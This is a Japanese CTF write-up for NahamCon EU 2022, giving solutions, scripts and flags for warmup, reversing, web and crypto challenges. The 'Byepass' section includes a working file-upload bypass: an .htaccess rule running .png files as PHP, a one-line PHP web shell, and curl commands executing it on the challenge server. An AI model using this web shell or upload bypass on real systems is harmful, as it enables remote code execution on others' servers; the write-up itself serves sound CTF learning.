NahamCon EU 2022 CTF Writeup

この大会は2022/12/17 5:00(JST)~2022/12/18 5:00(JST)に開催されました。
今回もチームで参戦。結果は1938点で1024チーム中37位でした。
自分で解けた問題をWriteupとして書いておきます。

Way 2 Basic (Warmups)

2進数で8ビットずつ区切られて書かれているので、ASCIIコードとしてデコードする。

#!/usr/bin/env python3
enc = '01100110 01101100 01100001 01100111 01111011 00111001 00110000 01100011 00110110 01100101 01100010 01100101 00111001 00110100 00110001 00110101 00110110 00110001 01100011 01100110 01100001 01100100 01100110 01100001 01100101 00110001 00110111 00110000 01100001 00111000 01100110 00110000 01100101 01100001 00110010 00110101 00110010 01111101'
enc = enc.split(' ')

flag = ''
for c in enc:
    flag += chr(int(c, 2))
print(flag)
flag{90c6ebe941561cfadfae170a8f0ea252}

Hashstation (Warmups)

sha256のハッシュが提示されているので、その元の文字列を答える問題。CrackStationでクラックする。

awesome
flag{awesome}

Arjeebee (Warmups)

rgb(19,55,175) を16進数表記で答える問題。

>>> hex(19)[2:].zfill(2) + hex(55)[2:].zfill(2) + hex(175)[2:].zfill(2)
'1337af'
flag{1337af}

catscii (Warmups)

$ cat catscii 

    ,_     _
    |\\_,-~/
    / _  _ |    ,--.
   (  @  @ )   / ,-'
    \  _T_/-._( (      Your `cat` found a flag! 
    /         `. \     This is what the standard flag format looks like...
   |         _  \ |    Submit these on the scoreboard for points!
    \ \ ,  /      |
     || |-_\__   /
    ((_/`(____,-'      flag{258da40ab06be7c99099d603a3b3ccb1}
flag{258da40ab06be7c99099d603a3b3ccb1}

Read The Rules (Warmups)

ルールのページのHTMLソースを見たら、コメントにフラグが書いてあった。

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->
flag{90bc54705794a62015369fd8e86e557b}

Banjo (Warmups)

$ strings banjo.jpg | grep flag{
flag{ce4e687e575392ae242f0e41c888de11}
flag{ce4e687e575392ae242f0e41c888de11}

Technical Support (Warmups)

Discordに入り、#nahamcon-ctf-generalチャネルのトピックを見ると、フラグが書いてあった。

Technical Support -> flag{a98373a74abb8c5ebb8f5192e034a91c}
flag{a98373a74abb8c5ebb8f5192e034a91c}

Baby's First Heartbleed (Warmups)

$ nc challenge.nahamcon.com 32753

===============================================================================
     _   _ _____    _    ____ _____ ____  _     _____ _____ ____  
    | | | | ____|  / \  |  _ \_   _| __ )| |   | ____| ____|  _ \ 
    | |_| |  _|   / _ \ | |_) || | |  _ \| |   |  _| |  _| | | | |
    |  _  | |___ / ___ \|  _ < | | | |_) | |___| |___| |___| |_| |
    |_| |_|_____/_/   \_\_| \_\|_| |____/|_____|_____|_____|____/ 
                                                                      
===============================================================================

THANK YOU FOR CONNECTING TO THE SERVER. . .

TO VERIFY IF THE SERVER IS STILL THERE, PLEASE SUPPLY A STRING.

STRING ['apple']: apple
LENGTH ['5']: 3

... THE SERVER RETURNED:

app

指定した文字列から指定した長さ分を返された。指定した文字列の長さより大幅に大きい値を入力したら、どうなるか試してみる。

TO VERIFY IF THE SERVER IS STILL THERE, PLEASE SUPPLY A STRING.

STRING ['apple']: abc
LENGTH ['3']: 256

... THE SERVER RETURNED:

abc@apple@apple@apple@3@heartbleed@apple@apple@apple@apple@apple@00@00@00@00@00@00@00@00@00@00@00@00@00@00@apple@00@00@apple@00@apple@00@apple@00@apple@00@flag{bfca3d71260e581ba366dca054f5c8e5}@apple@00@00@00@00@00@00@00@00@00@00@00@00@00@00@00@00@00@00@00

フラグが含まれた文字列が返された。

flag{bfca3d71260e581ba366dca054f5c8e5}

padlock (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8
main(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,undefined8 param_5,
    undefined8 param_6)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  print_lock(0x3f,0x3f,0x3f,0x3f,param_5,param_6,param_2);
  printf("Please enter the passcode: ");
  __isoc99_fscanf(stdin,&DAT_00102129,local_38);
  printf("The passcode you entered was: %s\n",local_38);
  replace(local_38,0x33,0x65);
  replace(local_38,0x5f,0x20);
  replace(local_38,0x30,0x6f);
  replace(local_38,0x34,0x61);
  sVar2 = strlen(local_38);
  if (sVar2 == 0x26) {
    iVar1 = strcmp("master locks arent vry strong are they",local_38);
    if (iVar1 == 0) {
      replace(local_38,0x65,0x33);
      replace(local_38,0x20,0x5f);
      replace(local_38,0x6f,0x30);
      replace(local_38,0x61,0x34);
      unlock(local_38);
    }
  }
  else {
    printf("Not quite!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void replace(char *param_1,char param_2,char param_3)

{
  size_t sVar1;
  int local_10;
  
  sVar1 = strlen(param_1);
  for (local_10 = 0; local_10 <= (int)sVar1; local_10 = local_10 + 1) {
    if (param_2 == param_1[local_10]) {
      param_1[local_10] = param_3;
    }
  }
  return;
}

void unlock(char *param_1)

{
  size_t sVar1;
  long in_FS_OFFSET;
  int local_b0;
  uint local_a8 [4];
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  sVar1 = strlen(param_1);
  local_a8[0] = 0xb;
  local_a8[1] = 0x58;
  local_a8[2] = 0x12;
  local_a8[3] = 0x13;
  local_98 = 0x48;
  local_94 = 0x40;
  local_90 = 0x69;
  local_8c = 0x58;
  local_88 = 0x53;
  local_84 = 6;
  local_80 = 8;
  local_7c = 0x43;
  local_78 = 0x6c;
  local_74 = 0;
  local_70 = 0x14;
  local_6c = 0x52;
  local_68 = 0xb;
  local_64 = 0x12;
  local_60 = 0x68;
  local_5c = 0x47;
  local_58 = 0x11;
  local_54 = 0x4f;
  local_50 = 0x6b;
  local_4c = 0x41;
  local_48 = 0x10;
  local_44 = 0x17;
  local_40 = 1;
  local_3c = 0x59;
  local_38 = 0x55;
  local_34 = 0x6e;
  local_30 = 0x51;
  local_2c = 0x13;
  local_28 = 1;
  local_24 = 0x69;
  local_20 = 0x16;
  local_1c = 0x59;
  local_18 = 0x55;
  local_14 = 4;
  for (local_b0 = 0; local_b0 <= (int)sVar1; local_b0 = local_b0 + 1) {
    putchar((int)param_1[local_b0] ^ local_a8[local_b0]);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

以下の変換後、"master locks arent vry strong are they" になればよい。

  replace(local_38,0x33,0x65); // "3" -> "e"
  replace(local_38,0x5f,0x20); // "_" -> " "
  replace(local_38,0x30,0x6f); // "0" -> "o"
  replace(local_38,0x34,0x61); // "4" -> "a"

m4st3r_l0cks_4r3nt_vry_str0ng_4r3_th3y を入力する。

$ ./padlock 
     .--------.
    / .------. \
   / /        \ \
   | |        | |
  _| |________| |_
.' |_|        |_| '.
'._____ ____ _____.'
|     .'____'.     |
'.__.'.'    '.'.__.'
'.__  | ???? |  __.'
|   '.'.____.'.'   |
'.____'.____.'____.'
'.________________.'
Please enter the passcode: m4st3r_l0cks_4r3nt_vry_str0ng_4r3_th3y
The passcode you entered was: m4st3r_l0cks_4r3nt_vry_str0ng_4r3_th3y
flag{264cec034faef71c642de1721ea26b1f}
flag{264cec034faef71c642de1721ea26b1f}

Byepass (Web)

save_memories.phpの$ext_denylistのリストにない拡張子をPHPとして動作させたい。
.htaccessに以下を記載し、アップロードする。

AddType application/x-httpd-php .png

さらにexploit.pngに以下を記載し、アップロードする。

<?php system($_GET['cmd']); ?>
$ curl http://challenge.nahamcon.com:32242/exploit.png?cmd=ls
assets
css
exploit.png
index.php
save_memories.php
uploads

$ curl http://challenge.nahamcon.com:32242/exploit.png?cmd=cat%20/flag.txt
flag{32697ad7acd2d4718758d9a5ee42965d}
flag{32697ad7acd2d4718758d9a5ee42965d}

Shapeshifter (Cryptography)

FLAGの2バイトごとにbit配列にし、LFSRでshift処理を31337回行った後の結果を出力している。ブルートフォースで、一致するものを探し、結合する。

#!/usr/bin/env python3
from Crypto.Util.number import bytes_to_long as b2l

class LFSR():
    def __init__(self, iv):
        self.state = [int(c) for c in iv]
        #self.state = self.iv

    def shift(self):
        s = self.state
        newbit = s[15] ^ s[13] ^ s[12] ^ s[10] # ^ s[0]
        s.pop()
        self.state = [newbit] + s

with open('output.txt', 'r') as f:
    encs = f.read().splitlines()

dic = {}
for c1 in range(32, 127):
    for c2 in range(32, 127):
        text = bytes([c1, c2])
        chars = f'{b2l(text):016b}'
        lfsr = LFSR(chars)
        for _ in range(31337):
            lfsr.shift()
        finalstate = ''.join([str(c) for c in lfsr.state])
        dic[finalstate] = chr(c1) + chr(c2)

flag = ''
for enc in encs:
    flag += dic[enc]
print(flag)
flag{70f817ce030904aa1db980686ffa0fa8}

dont_hack_my_d (Cryptography)

暗号化処理の概要は以下の通り。

・p, q: 2048ビット素数
・n = p * q
・phi = (p - 1) * (q - 1)
・e = 0x10001
・d = pow(e, -1, phi)
・e, nを出力
・flagの長さは38バイト
・pts = [<flagの前半の長さ>, <flagの後半の長さ>]
・以下、繰り返し(i)
 ・pt: pts[i]の数値化
 ・ct = pow(pt, e, n)
 ・rvals: 3個の2以上n-1未満のランダム整数
 ・ct2 = ct + rvals[0] * n
 ・d2 = d + rvals[1] * phi
 ・n2 = rvals[2] * n
 ・pt == (pow(ct2, d2, n2) % n) になる。
 ・ct, d2, rvalsを出力

ct2はctとrvalsから算出でき、n2はnとrvalsから算出できる。また、ct2, d2, n2, nからptを算出できるので、フラグがわかる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' = ')[1])
n = int(params[1].split(' = ')[1])
ct_0 = int(params[2].split(' = ')[1])
d2_0 = int(params[3].split(' = ')[1])
rvals_0 = eval(params[4].split(' = ')[1])
ct_1 = int(params[5].split(' = ')[1])
d2_1 = int(params[6].split(' = ')[1])
rvals_1 = eval(params[7].split(' = ')[1])

ct2_0 = ct_0 + rvals_0[0] * n
n2_0 = rvals_0[2] * n
pt_0 = pow(ct2_0, d2_0, n2_0) % n

ct2_1 = ct_1 + rvals_1[0] * n
n2_1 = rvals_1[2] * n
pt_1 = pow(ct2_1, d2_1, n2_1) % n

flag = (long_to_bytes(pt_0) + long_to_bytes(pt_1)).decode()
print(flag)
flag{82189ece31c22d658b08909879e1abb3}